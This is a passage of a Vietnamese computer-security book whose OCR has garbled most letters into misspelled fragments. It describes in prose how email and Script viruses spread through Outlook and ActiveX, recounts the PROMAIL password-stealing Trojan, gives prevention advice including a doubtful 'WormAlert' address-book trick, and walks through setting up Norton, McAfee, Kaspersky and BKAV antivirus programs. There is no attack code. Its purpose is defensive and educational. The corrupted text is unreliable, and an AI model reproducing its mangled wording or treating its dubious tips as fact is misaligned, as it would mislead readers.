dé nhan thay. hdu hét cic e-mail nhan duge déu duge
ngudi sir dung doc (do yéu cdu nghé nghiep va do tinh 1o
mo cha con ngudi). Do d6 kha nang lay nhiém 1a rat I6n.
4.2.2 Céng nghé gén van ban chita virus vao thir dién .

Cong nghé nay thuc chdt 1a st dung tinh nang gin
kém file vao thu dién tr khi su dung cac chuong trinh
nhur Outlook dé tao va gini thu.
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4.3 Cdc virus khee.

Java von duoe thi¢t k& cho muc dich xay dung mot
ngon ngit hé trg mang, vi vay kha nang st dung mang dé
tién hanh lay nhiém 13 hoan toin ¢6 thé. Tuy nhién, cho
den nay, chua xuat hién virus Java tay nhiém qua mang
(mic di mot s loai virus Java, lay nhiém cic file
CLASS di ra d&i). Mot dang virus ¢6 kha ning lay lan
trén mang rat manh la cde virus Script.

F.4 Cong nghé raolgiti thir dién v,

Nhu da phan tich & chuong trudc, cdc virus Script ¢6
kha ning sir dung cdc d6i twong ActiveX. D& ¢6 the
tao/gui thu dién tlr virus Script sir dung ngay kha niang dé
bing céch tao mot doi tuong Ung dung Outlook (Quticok
Express hay cdc (ng dung khic) va sir dung doi tuong
nay d¢ tien hanh tao va giti e-mail chifa virus di khap nai.
Chi ti¢1 cong nghé wong ty nhur d3 phan tich & phan virus
Macro,

4.5 Cong nghé tao e-mail chitu virus.

+ Sir dung Script ngay trong noi dung thu dién 1

Cdc img dung hé trg thu dien tir thuong ho trg hai
dang e-mail: HTML vi PlainText. Trong dé dang thi
nhat cho phép sir dung dang file .HTML, bao 20m ¢4 tinh
nang Script. Nhur vy virus Script ¢6 thé tao cac thong
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diép chia virus ma khong cdn file dinh kém. Cong nghé
nay con ¢é diém thuan loi 1a ma Script 6 thé thi hanh
ngay khi ngudn diing xem thu (néu khong dat ché do
canh bdo vdi cic ActiveX).

+ St dung Script nhir mot file dinh kism:

Cic file Script ¢6 dang .VBS, .JS ¢6 thé dugc gén kém
c-mail. N¢u ngudi st dung thi hanh file (giong nhur cdc
ftle chwong trinh khéde) ma Script s& duge thue hién va
UEp tue lay nhiém. Vi du nhu virus Love [ mot virus sur
dung cong nghé nay.
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CHUGNG IV
PHONG CHONG VIRUS MAY TiNH

1. Hau qua cua virus va su ra doi cin thiét cia cac
chuong trinh phong chong

Hau hét ¢dc virus khi dugce viét ra chi nhim muc dich
phd hoai cdc hé théng méy tinh. Hau qua cua cac virus
sau khi ching duoc phit tén doi khi rat nghiem trong. H¢
thong may tinh cira cong ty phan mém I6n nhat nuée My
va the¢ gidi Microsoft ciing di timg chao dao véi su phd
hoai ciia Nimda, Klez. Ngay c4 noi tudng chimg nhu bat
kha xam pham nhdt 11 co quan an ninh quoc gia My, vé
nhimg chuyén gia hang dau the giéi vé an toan may tinh
cling da timg duoc virus vieng tham. Hoat déng pha hoai
doi khi con gidn tiép gay tén that i nhing d6i tac cua
nhitng muc ti¢u phé hoai vi du nhu khi tham nhap vio co
sO dif liéu cua cde ngan hang, cic hé thong thanh toin
trie tuyen. Chiing ta hily gid sl ring chige cap diéu khién
hé¢ théng vii khi hat nhan ciia Téng théng My hay Téng
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théng Nga, néu duge két ndi t6i cdce trung tam phong tén
Ira mang dau dan hat nhin mét khi dugc két ndi qua
mang ma bi nhiém virus. The gidi ¢6 1€ ciing phdi sup d6
mot khi virus tdn cong va diéu khién duge céc hé thong
nay. Virus khong day (Lay lan qua cdc mang két néi
khong day, vi du nhu mang dién hoai Vinaphone cla
chiing ta) ciing di khong con [a diéu xa la. Han qua cua
chiing d€ lai tuy khong 16n nhung phai thdy rang virus da
khong con chi nhim vao cac hé thong may tinh ma la
moi thiét bi diéu khién s6 cd két néi mang.

Céc virus 1ay lan qua mang c6 thé tién hanh cdc hoat
dong lay nhiém, pha hoai, trén mang, gay anh hudng tdi
hiéu suat 1am viéc (rén mang, lam gidn doan viéc cung
cdp cdc dich vu trén mang tham chi 1am t€ i€t cdc may
chii. Mot s& virus mang con c6 kha nang theo doi, lay
trom nhimg dir 1iéu quan trong cia ngudi dung.

Do d6, viéc phong chéng su lay lan ca virus la rat
can thiét va quan trong, dac biét 1a d6i véi cdc hé thdng
mang, su ra doi clia cdc chuong trinh phong chéng virus
1a khong thé thidu. N6 gép phin nang cao d6 6n dinh va
tinh bao mat cha hé thong, dam bao higu suat lam viéc
v@1 may tinh va mang.

2. Cach thic phong, chong Virus.

Virus mdy tinh duoc sinh ra timg ngay, tham chi timg
gid tit khip noi trén thé giGi va ngay nay, hau hét moi
ngudi ding mdy tinh déu c6 lién hé v6i nhimg ngutt
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khdc hodc déi tdc qua mang bang thu dién tir hodc truy
cap cic Website. Lién lac qua mang 13 hau nhu khong
thé thi€u d6i véi moi co quan hay ca nhan. Nhung "lén
mang" cling déng nghia véi viéc nhir ta di qua mot cénh
dong hoa nhung bén dudi c¢é ldm min ma khong biéi
chiing né bat ¢ ldc ndo. Nhumg chéng 12 lai cue doan
khong chép nhin két ndi mdy tinh ciia ban (hay co quan
ban) v6i Internet, hay khong bao gity diing dia ciia ngudi
khac? Ma du c6 vay thi ci may tinh ctia ban ciing khong
thé thodt khéi viec budc phai st dung cdc chuong trinh
ing dung, vidu nhu tSi thiéu trong médi may tinh déu co
bo Macrosoft Office. Ai ddm ddm bao 12 bd cai dat
Office khong ¢6 virus? Ban ciing ¢6 thé chi sir dung cac
phin mém c6 ban quyén dé han ché virus, nhumg nhu vay
dong nghia véi viée ban phai tra thém rit nhiéu tién cho
mot cdi may tinh clng véi chuong trinh clia né, trong khi
ngay viéc mua sam phén cing khong thoi ciing di bat
ban phai ¢6 rit nhiéu can nhic. Khéng c6 cach nao khac
la phdi séng chung véi Virus. Ban ching viéc gi phai
kinh hoang vi virus mdy tinh. Hay canh gidc, hiéu o vé
chiag va chudn bi sén sang cic bién phap w vé. Dé
cttu minh trude hiém hoa virus, chiing t6i cho ring khong
thé chi trong chér vao cic chuyén gia diét virus ma méi
ngudt st dung may tinh cdn tu trang bi cho minh nhifng
kién thitc so dang vé an toin mdy tinh. Chting 16i cho
rang khong phai qua khé dé ban c6 thé nhimng kién thic
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ndy. Hiy chiu khé bod thdi gian ban dau dé cd duge cai
lol an toan vé sau, va day la nhiing viéc ban can phai
lam:

- Hay canh gidc vdi virus may tinh trude kbi ching
nhiém lén hé théng cua ban.

- HAy mua, copy hay biing bat cu cich gi ban ¢6 thé
cic chuong trinh phong chéng virus dé cai dat lén he
théng clia minh va ndm bét duge cde cdch st dung cla
“cdce chuong trinh nay.

Mot chuong trinh chdng virus duge cai lén mday tinh
khong bao gity duge coi la du. Phai ¢6 téi hai, ba, hay
tham chi bon chuong trinh phong chong duge car lén
mdy. Nhung phai lua ¥ rang dé cdc chuong trinh nay
khong dim chan lén nhau thi khong nén dé thudng trd
mot lic nhiéu chuong trinh. Tai mot thdi diém nhat dinb
chi nén dé thudng trd mot chuong trinh, nhung thinh
thoang cdn thiét phai sir dung té1 3, 4 chuong trinh khic
dé quét. Hay cap nhat thudng xuyén cdc chuong trinh
phong chéng nay, 1ap lich quét dinh k¥ cho ching (néu
6 thé). Trong qué trinh cai dat va thiét 14p, hiy can nhic
cho k§ ban cén nhimg tuy chon nao. Chi it, ban cing
phai chi dinh quét virus ur dong 24/24 ti€ng (full-ime
automated scanning) va phai bdo dam ring déi tugng
kiém dich bao gém ca cdc file zip va nhitng loai file nén
khdc. Hang tudn, cic hing phan mém chong virus déu
cap nhat c4c "dinh nghia virus” (virus definition), tic cac -
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file ho diing d€ nhan dién virus. Muén an toan téi da, ban
cung nén cap nhat thuong xuyén nhu thé. Mot s6 tién ich
6 the ty dong b sung ngay nhitng dinh nghia virus mdi
nhat.

- Can than v6i macro: Hiy bao vé may tinh bang céch
khai hoat céc tuy chon macro protection trong cic goi
phan mém cia ban. Chéng han, trong cic tng dung
Office 2000 nhu Word hay Outlook, ban hidy chon
Tools.Macro.Security, trong hop thoai Security, chi chon
High hay Medium chit ditng chon Low.

- Cap nhat phan mém Internet: Da s6 virus ngay nay
phat tin théng qua e-mail, cho nén ban phai bao dam
chuong trinh e-mail cta minh luén luén cap nhat
Microsoft Qutlook 14 mdnh dit tung hoanh cia hiu hét
virus su dung e-mail, nén Microsoft thudng xuyén dua ra
cac trinh cdi tién bdo mat (security patch) méi. Dong
thdi, ban ché quén trinh duyét Internet. Cac trinh cai tién
bao mat mdi nhét c6 thé tranh nhig 156 thing bao mat
lién quan dén ActiveX va Java.

- Hay canh gidc vé1 Virus an cdp mat khau Internet:
C6 chuong trinh ¢-mail mién phi ¢6 tén 1a PROMAIL, do
mot s6 Web site phdn mém nhu shareware.com phan
phéi, thuc chat 1a mot Trojan horse. N6 thu thap tén, mat
khau clia ngudi diing da duoe ma hod réi giri dén account
clla nha cung cip e-mail mién phi NetAddress. Nhumg
bén canh d6, PROMAIL la mot trinh e-mail khéach dich
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thuc, va ¢dn manh nira 13 khic, theo 161 nhan xét cua mot
chuyén gia bao mat.

Dung phidn mém tién ich hop phdp dé sit dung e-mail
trén Internet, roi sau dé danh cdp mat khau cla ngudi
diing 1a mét bién tdu mdi clha Trojan horse. Diéu trd tréu
ia dudng nhu né qua mat dugc hau hét cic siéu site vé
phan mém dung chung nhu shareware.com cia CNet,
Simtel.Net, va cho dén chicu ngay 22/3/1999,
filelibrary.com van con chao moi ngudi ding tai xudng!

Né&u ban tai xudéng va chay chuong trinh, né sé€ thu
thap ddy da ho tén, password, tén server SMTP va POP3,
va nhiéu tht khac nifa cla ban r6i gui dén mot account
tai NetAddress.

Cong ty Aeon Labs chuyén nghién cuu cong nghé
truc tuyén trén mang di canh bdo céc site cé lién quan
dén PROMAIL héi tir ddu thang Tu nay. Pai dién cuta
Aeon Labs dia chi thich trong mdt thong bdo la tr khi
cong ty bé khod account néi trén cho dén nay, ho da tim
thay tén clia 80 nan nhan, va hién nay con sG dé da ién ca
tram.

MSNBC da thor tai PROMAIL xuéng tir
freeware.com. Ghi chi trong readme cho biét chuong
trinh nay do cong ty Smartware Inc. viét, nhung Hemal
C. Mehtalia, ch( tich Smartware khang dinh cong ty ong
khong lam viéc nay. Cdn cong ty bao mit Data Fellows
néi theo phan 1 gidi thiéu "About” thi PROMAIL duge
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viét dua trén ma ngudn cta Michacl Haller, nhung Haller
thi chang dinh liu gi dén Trojan Horse. Haller c6 phat
trién mot phan mém e-mail mién phi 1a Phoenix Mail, va
ma nguén da dugc phé bién trén mang.

Thong tin ddu tién lién quan dén phan mém nay
xudt hién vao ngay 24/2/1999, khi ghi chi trén mot
nhém tin giéi thiéu chuong trinh e-mail mién phi
PROMAIL, phién ban 1.21, 43 duoc tai 1én dia chi
ftp.simtel.net. N6 duge chao mén nhu mét chuong trinh
e-mail khach tién u€n, dé dung, khdong gidi han kich
thude file dinh kém, b6 loc tuy bién duge, va hd tro ca
trinh diét virus phu trg v.v...

Nhung trong lic ngudh dung dang tan hudng cic tinh
nang mién phi nay, thi bén trong hau trrdmg, PROMAIL
dd thu thap cac thong tin 1én quan dén ngudi dung, va
ngay khi giao thiic giri nhan thu SMTP duoc thiét iap, né
lién gl e-mail chita cdc thong tin trén dén mot account,
duge du dodn 14 account clia tac gid. T4t ¢a e-mail déu ¢6
cing dong chi dé “kirio". Shareware.com khong loc
kiém tra cdc phian mém nd tai 1én mang ma chi tr dong
chuyén dén mat sé site quen thudc ¢ kho hnu trir cdc
phan mém c6 thé tai xudng & trong khi d6 CNet.com lai
khong giam sat cac file cia cd nhan cé tir
shareware.com!

Con nhitng yéu ciu gl dén Simtel thi khong duge hoi
bdo ma n6é chuyén ti€p dén 93 site huu it phdn mém
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khac, khién viée muén loai bo hoan toan PROMAIL la
vo cung kho khan. '

Ken Williams, ngudi phu trach site lién quan dén 16
chiic bao mat trén Internet ¢6 tén Packet Stonm Security,
nhan duge mot e-mail ma ngudi g 1 cho 1a tic gia cia
PROMAIL. Thu duoge giri dén tir mot tram trung chuyén
an danh, nén khé xdc dinh nguon goc. Trong thu téc gid
cho bigt minh thude I6p thi€u nién. viet Promail chi véi
muc dich ki€m ching mot vii diéu ma thoi."Day khong
phai ia 1dc pham géc, 161 chi sira déi mot domain di ¢é
va thém ma "Trojan horse™ vao mdl bd ma nguon cong
khat". Cau thi¢u nién xung tén la David nay viét: "Tai
xin bao dam 1a t6i khong luu uii. st dung, bdn hay lam
hit cif diéu g1 véi password va nhime thong tin khide cla
cdc ban. Va toi cing khong hé tai xuong cic ¢-mail... Téi
chi mudn gitip ngudi diing canh gidc hon nita vé bao mat
trén Internet”.

Thé ddy, néu chuong trinh do mot cau bé choai choai
viét ra ¢6 thé lan truyén mot cach dé dang trén mang va
khong kiém sodt duoc thi chic chan di ¢6 didu khong én
rol...

- Luon luén canh gidc: Pung md file dinh k&m nhiing
¢-mail tr nhitng ke khéng quen bict; ngay ca khi ngudi
gut 1a chd ban be, ban van phai dé chimng. Dac biét canh
¢1ac trude nhitng {ile ¢ dudi .vbs. Cho dif ban nghi mét
file nao d6 la "dang hoang ding dan”, ché nén md né
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bang chuong trinh e-mail. Hiy luu né vao dia réi quét
biang phdn mém chéng virus trudc da.

- Bao vé mang: N&u [a ngudi chiu tradch nhiém vé cdc

may tinh né mang,‘han c6 thé cdn phai ngan khong cho
ngudt dung trong mang nhan mot soloai file giri kém cu
thé nao do6, chang han cic file .exe hay .vbs. Chi cic
chuong trinh chong virus chay trén mdy chu mdéi hé trg
nhitng tinh nang bao vé ning cao nay, con Outlook ciing
¢6 nhung chi la "qua loa dat khai" théi. Phai can nhic k¥
su bl trir gilta bao mat va td¢ do lam viéc: phong toa tat
ca cic file gt kem c6 dudi .doc thi s& loai trir triét dé céc
virus macro, nhung bu lai, hiéu suat lam viéc ciha ban sé
b1 giam.

- Sao luu thuong xuyén: Du ban dang ding may tai
nha hay mdy tinh mang & c¢ong ty, hiy thudng xuyén sao
lvu hé théng phong khi moi bién phdp kiém dich déu
khong ngan duge mot virus nao do chui vao.

- Chi ¢6 thé truy cap Read Only tit xa: Moi tai
nguyén trén may ban, ké ca 6 aimg, 3§ mém, néu han ché
duge viée dung chung (Share) trén mang 14 tot nhat. Néu
buoc phéi share, hiiy dé ché do Read Only dé dé phong
viéc ghi, copy virus (it mang.

- N&u miy ctia ban khong thé thi€u viéc sir dung
Email (Thur dién tir) thi hdy nim ngay ldy mot meo nho
nay trong khi thiét lap cic ¢huong trinh Mail. Day [a mdot
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meo vat nhung khong vat chdt nao vi nd giup tranh lay
virus qua email khi mdy coa ban I bi nhiem virus. Nhu
ban di biét, nhitng con sau bo virus (Worm) mot khi da
nhiém vio mdy cla ban, nd s& ngang nhién chui vao
nhitng dia chi cmail trong address book cia ban, t nhan
ban. 16i theo nhiing canh thu bay vao mdy cua nguoi
khdc. Manh sau day khong gitip cho mdy ban tranh bi
nhiém worm nhung né gidp ngin chin viée sir dung so
dia chi email dé lay ti¢p déng thoi nd ciing ho ken cho.
ban biét la may ban dang chita chip "vii khi tin hoc™.
Pay la nhitng diéu ban can lam:

Pdu tién, md Address book ra va click vao "new
contact” nhur 13 ban mudn thém maot tén mai vao vay.

Trong clra 8, thay vi dinh tén cua ban b¢, ban danh
dong chit nay vao: 1000 (dau cham than va 3 s6 khong).

3 clra s¢ bén dudi, noi md ban thay vi gd email
address cla ban be, ban g& véo dong chir sau:
WormAlert.

Sau ciing, hodn tat cong viéc bing cich click add,
enter. ok...

Tai sao vay? " Tén" '000 s& duge dat diu tién trong
address book va né duge ddnh s6 1. Day s€ la "nguot”
mai con Worm bat ddu lay. Nhung ngudi nay lai ¢o dia
chi email 1A "WormAlert”, khong diing quy cdch lam sao
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ma got 7 Va nhu vay né khong thé gdi cho nguvi tiep
theo trong address book.

Chua hét, n€u nhu email khong duogc goi di, ban sé
nhén lai mét thong bdo ngay lap tic trong Inbox. Nhu
vy, néu ban nhan duoc moét mail néi ring “email
addressed to WormAlert could not be delivered". han
bi€t ngay la "bon khiing ba" dang nim ngay trong may
ban. |

3. Xu huéng phdt trién clia cdc chuong trinh phong
chéng virus

Cing véi sy ra dot clia virus mdy tinh, cac phin mém
phong chdng virus cling duge phat trién timg ngdy. Cac
chuong trinh phong chéng virus cho phép phat hién va
[oai bo virus ra khoi déi twong chi, khoi phuc chuong
trinh ban ddu. Mét s8 chuong trinh cho phép glam sit
ki€m tra hoat dong ciia hé théng, phat hién kip thoi cic
hoat dong clia virus dé ngudi dung ¢6 bién phdp déi pho
thich hop.

Cung v6i su phit tri€n cha hé diéu hanh va cdc
churong trinh tng dung. céc loai virus cling lién tuc phat
trién vé ching loai va cong nghé, nhiéu cong nghé me
ducc dua ra, thich hgp véi moi trudng mdi ddéng th
chong lai nhitng céng nghé ma céc chuong trinh phong
chong virus sir dung dé phat hién va tiéu diét virds.
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Cé mot cude chién tranh, khong ram ré, khéng cong
khai nhung khong kém phén quyét liét va dai dang. D6 la
cudc d6i ddu gilta virus tin hoc va cdc chuong trinh
phong chéng, hay néi cdch khac, gilta nhimg ngudi thiét
k& virus va nhitng ngudi viét chuong trinh phong chéng
virus. Trong cudc chién tranh Ay, ca hai bén déu ra sic
chay dua, nghién ctru nhitng vii khi mdi, nham gianh
duac 101 thé cho minh.

Do d6, cic chuong trinh phong chéng virus ludn fuén
duoc phat tri€n, vé céng nghé cling nhu vé phuong thitc
tién hanh, dam bao dap ing dugc yéu cau nhiém vu. Tuy
nhién, tuy theo tinh chuyén nghiép cta cdc céng ty phan
mém, cdc chuong trinh virus ciia cdc cong ty khac nhau
c¢6 nhimg mit han ché khac nhau nhat dinh. Cho dén thai
diém niy, chiing t6i tam dua ra mot s6 nhan xét nhu sau:

- Cac chuong trinh virus da duge trang bi nhiing vi
khi - cong nghé rdl manh dé phat hién va tiéu diét cic
loai virus da biét.

- Kha ning dit nghi vén cho nhilng hoat dong dang
ngd, nhung chua thé két luan d6 1a virus ciing da duge
cac hang chuyén nghiép ¢4 uy tin quan tdm nhu
Symantec, Network Associate Inc, Tren Micro...

- Viéc tién hanh cap nhat, phat trién va phan phdi céc
chuong trinh phong chéng virus ciing duge ti€n hanh
nhanh chéng, thuan tién. Ngoai viéc cap nhét chinh tac
(Cap nhat theo cdu hinh clia chuong trinh), hau hét cac
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hang chuyén viét phdn mém phong chéng ciing di che
phép ngudi diing c6 thé tdi xudng cac thong tin cap nhat
bang cac hinh thitc nhu FTP d swnload, web download dé
nguoi dung qua mang cé thé cap nhart kip 1hoi bing cic
hinh thic khidc nhau,

- Han ché cha cdc c6ng nghé dang dp dung hién nay
ta: Cac cong nghé ma chuong trinh phong chdng virus
phdt trién chua thé ngan chan hoan toan s lay lan cua
virus, nhat la cdc virus méi.

- Vé phia ngudi ding mdy tinh. ndi chung trinh do
cla ngudi st dung vé phong chdng virus con véu, ra
nhi€u ngudi con y lai cho cic chuong trinh diét virus, coi
d6 la thudc bach bénh cho cdi mdy tinh cha minh din
dén viéc sit dung chuong trinh phong chéng virus ciing
chua dat hiéu qua.

Xudt phar tir thye t€ nay, chiing 16i manh dan dua ra
gidi thiev huéng dan sit dung mot s6 chuwong trinh diét
virus ndi tiéng clia cdc téc gia Viet Nam ciing nhir nude
ngoai dé ban doc ty theo tinh hinh thuc ¢ cia mink ¢
thé 4p dung.
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PHU CHUONG
GIGI THIEU CAC CHUONG TRINH
DIET VIRUS NOI TIENG

Trong phan ndy, ching t61 s& gidi thiéu rat k§ vé cic
chuong trinh Norton Antivirus 2001 Profession, Norton
Antivirus 2002 Version 8.0, McAfee Virus scan 6.02,
Kaspersky Antivirus 4.0, BKAV, D2. M6t s§ chuong
trinh khdc chi gidi thiéu mang tinh tham khao.

1. Norton Antivirus 2001 profession
a, Cai dat.

Chuong trinh Norton Antivirus ¢6 kich thude khoang
27MB cho céc ban NT, 2000 va khoang 20MB cho céc
ban 9x v thudng duge déng trén dia CDROM. Néu ban
c& ia CD ngudn mua cla chinh hing Symantec thi d6 1a
toai dia Autorun (Nhét dia vao 1a chay) va gén nhur ban
khong phai lam gi, ban chi viéc OK va OK thee cac chi
dan trén man hinh. Néu chuong trinh cai dit khéng phai
mua cta chinh hing maduge copy tir mét ngudén nao doé
khac (Cai nay méi Ia cha yéu) thi khi md folder ¢6 chita
chuong trinh ra ban sé& thay mét clra sé nhu sau:
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Trong heé théng clia ban 6 thiét Iap cic tai khoan thu
dien tir clia 3 ngudi diing khac nhau va déu dugc bao vé
bai chuong trinh chéng virus. Cy thé:

Email accounts are protected: Tat ¢4 cde tai khoan thu
da dugc xéc 1ap ché do bao vé chéng virus

Manualy configured accounts: Tat c4 cdc tai khoan
thu dd duge thiét dat ché do bio ve boi ngudi quan trj hé
thdng, khéng phéi thiet dat ty dong boi chuong trinh.

Microsoft Outlook Express:

cuongni@supportl.van.vn: Cdc the cha nguot dung
¢S user name la cuongnt sir dung bdi chuong trinh
Microsoft Outlook Express s& duge bao vé€ chéng virus.

Tuong v d6i véi cic tai khoan thu cia
dkien@vnn.vn; thangnh@supportI .vin.vn.
3. Scan for virus

Day la cira 50 thong bdo cdc tai nguyen trén he théng
ma chuong trinh ¢6 thé quét, bao gém:

Scan my computer: Quét tat ci cic thiét bi lwu i
trén may tinh, bao gém & ciing, ¢ mém, RAM....

Scan all removable drivers: Quét (4t ca cic & dia c6
thé di chuyén duge nhu cic 6 mém, & kéo dai, ké ca
CDROM.

Scan a flopy disk: Quét dia mém.

Scan driver: Tity chon quét mot hoic nhiéu & dia.
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Trong cot Event name ban sé thdy 2 dong chitc nang
do ngudi sir dung thict dat. Cyu thé vong trudmg hop nay
nhur sau:

Quet virus: La hoat dong quét tit ca cac bo phan luu
trlr trén mdy tinh duge tu dong thuc hién hang ngay
(Daily) vao lic 12 gid trua hang ngay.

Cap nhat virus: La hoat dong két néi 61 trang Update
cha hang Symantec théng qua mang Internet dé cap nhat
cac loat virus maéi dugce hang phat hién cung cac thong so
ctia ching dé chuong trinh ¢6 thé phat hién va diét khi he
théng clia ban ¢é nguy co bi nhiém.

Céc hoat dong khic (events) ban c6 thé tiy ¥ thiét dat
thém nhu chay modt chuong trinh nao dé vao mot thoat
diém nhat dinh thong qua chuong trinh chéng virus nay.

6. Advanced Tool

Khi cai dat chuong trinh Norton Anti virus, chuong
trinh sau khi cai dat s& tr dong thay doi thiing rdc ctia hé
thong v6i mot s& chifc niang nhit dinh nhu chi dinh
chéng xéa cic file trong thung rac, khoi phuc cic file da
bi x6a. Cic chiic nang niy cé thé thay déi khi ban vao
muc chon nay. Hinh minh hoa dudi day sé chi 15 chi tiét
cac chuc nidng dé:
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Céc thao tdc chuong trinh da thyc hién (Action):

Di quét MBR (Master Boot Record); DBR (Disk
Boot Record), khong phat hién ¢6 18i gi. Khong sua
chifa, cach ly hay xo4 mot file ndo. Ban c6 thé yén tam
déng chuong trinh

2. Norton Antivirus 2002 V8.0
a. Cai dat Norton Antivirus 2002.

V¢ ciin ban, viéc cai dat ban 2002 khong khac gi s6
v6i ban 2001. Tuy nhién vi Ia version (ddi) sau nén ban
2002 ¢6 mot s& cai tién kha tSt, chay nhanh hon va nhat
1a khong thay déi cdc thong s Email 1am nhi¢u ngudi
trong qué trinh st dung rat khé chiu. Ching toi cho rang
viéc gidi thieu lai cach cai dat ban 2002 1a khong can
thiét, ban c6 thé tr dong lam duge sau khi d& bi€t cach
cat dat ban 2001, vi vay ching t6i s& khong gidi thicu ¢
day ma taap trung vio viéc xdc lap hé thong sau khi ban
da cai dat thanh cong ban 2002.

b. X4c lap cic thong so hé thing

Gia sir rang, ban da cai dat thanh cong chuong trinh
Norton Antivirus 2002 Version 8.0. Duéi day la giao
dién chinh cia chuong trinh:
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Trong man hinh chinh cta chuong trinh ban chon
Iénh Scan for Viruses, sau dé chi dinh 8 dia/thu muc/file
cant Kiém tra bing cdch bam kép chudt vo cdc muc tuong
tng (hay bam niit Scan) dé mé cira s6 chon lya. Cich
nhanh nhat la vao Windows Explorer bam phim phai
chudt vao 6 dia/thy muc/file réi chon lénh Scan for NAV.
Chuong trinh ciing ¢6 tao 1 biéu tugng trong Toolbar
Link cta Internet Explorer.

Wizard

NAYV cung cdp 1 chic ning dic biét goi | Wizard dé
gidp nhimg ngudi thudng xuyén phai kiém tra virus cho 1
s 0 dia/thu muc/(ile nao d6, né cho phép tao nhiéu "mau
quét” d€ sau ndy khoi mat thoi gian chon lua lai.

Ban muon chay Wizard, bam chudt vao nit New,
Wizard s¢ dhudng din ban qua timg budc trong viéc
chon lua va dat tén cho "méau quét”. Ban ¢6 thé sira chita,
hay xo4 bd "mau quét” bang nit Edit va Delete. Sau ndy
ban chi ¢in chon tén mau réi bdm nit Scan d€ tién hnh
kiém tra virus.

d. Cap nhat hang tuan

Viéc cap nhat Norton Antivirus 2002 V8.0 khéng
khdc gi so v6i ban 2001. Thuc ra, néu chi cap nhat cdc
thong fin virus khong thoi (Virus Definition only) thi ban
c¢6 thé vao thang trang web ciia Symantec dé download
céc file date va dung chung. Tuy nhién, néu mudn cap
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h. Xdc lap ¢du hinh:

Sau khi qud trinh ¢t dat holn tit. Mcafee s& tao cdc
shorteut tren Menu Taskbar v gée phia dudi cla
Desktop, v6i bicu tuong hinh chit V mau tim. Nhan dap
Vao bicu tugmg niy hoie chon Start->Program ->Mcafee-
>VirusScan d¢ md cilia 6 giao dién chinh cha chuong
trinh. Clra 50 gla dicn chink hicu thi mét 0 thoéng tin co
ban nhu:

- Lian quét virus win div nhat: Ngiy | thang 7 nam
2002 (Ngay cai dat chuong trinh).

- Thong tin virus duge cap nhat (i ngay 26/6/2002

- Viée quét h¢ thong (System Virus Scan), Bdo vé cic
hop thu, Internet (Email virus scan: HAWK for Qutlook)
dang hi¢u luc.

- Cae xde Jap khic nhu Firewall (Tudng Iira ngén
chiin): PDA Scanner déu chua hic¢u luc.

Ban cin xdc 1ap mot s6 thong 6. DE lam viée nay,
nhan viw nit Pick a task dé vao muc setup (Hinh trang

sau),
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- Enable Download and Email Scanning: Cho hiéu luc
viéc quét tdl ca cac qua trinh gii nhan thu bing cac
chuong trinh khac nhu Netscape, Eudora, AOL...

- LEnable Internet Filter: Cho hiéu luc viéc loc cdc
trang Web. Viée nay gan olii véi cic firewall hon la
ngudi dung diu cudi. Néu ban dang phai ¢ii chuomng
trinh chong virus nay cho mdy cha Proxy & co quan cho
nhiéu ngutsi sir dung chung moét tai khoan truy nhip va
két néd1 Internet thi day la mét lya chon rit dic dung
trong viéc han ch€ cic nhan vién trong co quan truy cap
cic trang web bi co quan ¢am.

- Enable HWAK for Outlook (Hostile Activity Watch
Kernel): Cho hiéu luc viéc kiém sodt cac hoat dong nghi
van this dich d61 v6i hé thng g nhan thu bang
Outlook, bao gom:

Hanh dong gwi thue cho rat nhiéu cdc dia chi khic
nhau trong Address Book cua Qutlook.

Gui hang loat thu di céce dia chi khédc nhau lién tuc véi
tan sudt rat [6n.

Céc file gui kém 1a nhitug file chuong trinh ¢é thé
chay ngay (M6t trong céc dang sau Internet).
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duge khdi tao, ching han méi khi AVP phat hién thdy cé
mét folder nao dé trong & cing bi 161, ngay lap ntc AVP
s€ bat dau viéc quét virus. Néu chon lua hét tat ca cdc
event ching 161 e rang ban & rat mat thoi gian cho viéc
quét virus bai nhu liét ké hinh trén thi hdu nhu luén luén
chuong trinh quét virus duge goi khi mdy xay rg 16i.
Diéu nay ¢ nghia la chuong trinh quét s& phai lam viéc
qua nhiéu, trong khi 16i hé¢ thong khong han la do virus,
ma c6 thé [a chi cin 1a mot cdng COM nao dé bi 16i vat
1¥ ma may tinh cua ching ta thi hau nhu ¢6 rat nhiéu 164,
nhung ndi chung ndé van hoat dong ding chiic nang
nhiém vu can ban cGa nd, moét khi cic 161 ma ndé ¢é
khong tram trong , vi vay chiing t6i c¢ho ring khéng nén
dé lya chon nay

- By Condition: Tuong ty nhir On Event.

Hourly: Dat ché doé cit. sau bao nhiéu phit mot thi
thuc hién viéc quét hé thdng mét 1an trong 6 Minute.

Daily: Pat ché€ d6 quét virus mdi ngay mot 1dn vao
mot gid nhdt dinh. Khi lua chon nay duge ddnh déu, cira
s& nhu hinh dusi diy s& mé ra:
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Trén day la phuong thite quét Manually(quét theo chi
dinh ngau nhién cta ngudi sir dung ma khéng theo lich
quét da lap). Thuc ra, sau khi da thiét [ap ding dan céc
Lic vu cho chuong trinh AVP thi gan nhu ban khong cén
phai lam gi cd ma moi tdc vu s¢ ludn e dong chay vao
cac ngay. giv nhat dinh theo cau hinh di xac lap. Ban da
¢6 the yén tam di thuc hién cdc cong viée khic va dé mac
cho AVP W xoay s¢ vt Virus.,

5. Chuong trinh Bkav
a. So luge ve Bkav

Bkav ( Bach khoa Anti Virus) la chuong trinh diét
Virus do ¢ic tic gia Nguyén Tu Quang va Dang Van
Tan. hai sinh vién ctia Trudng Dai hoc Biach khoa Ha Noi
(Ca Neuyén Tu Quing va Ding Van Tan nay déu di 161
nghicp, riéng Nguvén Tir Quang hién Ja gido vién Khoa
Cong nghé thong tin DPHBKHN)xay dung va phat trién.
Khoi dau, do la cac ban chay trén DOS va diét khd 6t
cde virus macro, mot s¢ virus ndi. Tuy don gian nhung
phai thira nhan su ¢d géng cta hai sinh vién nay, chii yéu
ld Nguyén Tl Quang va thue su. trong nhimg nam din
tien, khi ma ngudi ding mdy tinh & Viét Nam cdn rit mao
hd vé Virus, sy 1ong hanh ciia Virus qua mang cdn chua
¢6 thi v6i BKAV, nhitng ngudi dung may tinh di ¢d thé
khé yén tam véi cong viéc clia minh. BKAV sau nay da
phit trién thinh mat nhém, 13 tap thé clia nhimg ngudi 6
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tinh than céng hién vo tr (Cdc san pham cia BKAV luon
cho khong) da thuc su |4 ngudi ban than thiét coa ngudi
dung may tinh Viét Nam. Tuy nhién, do han ch& vé nhiéu
mat, day chi ka san pham clia mot nhém yéu thich tin hoc
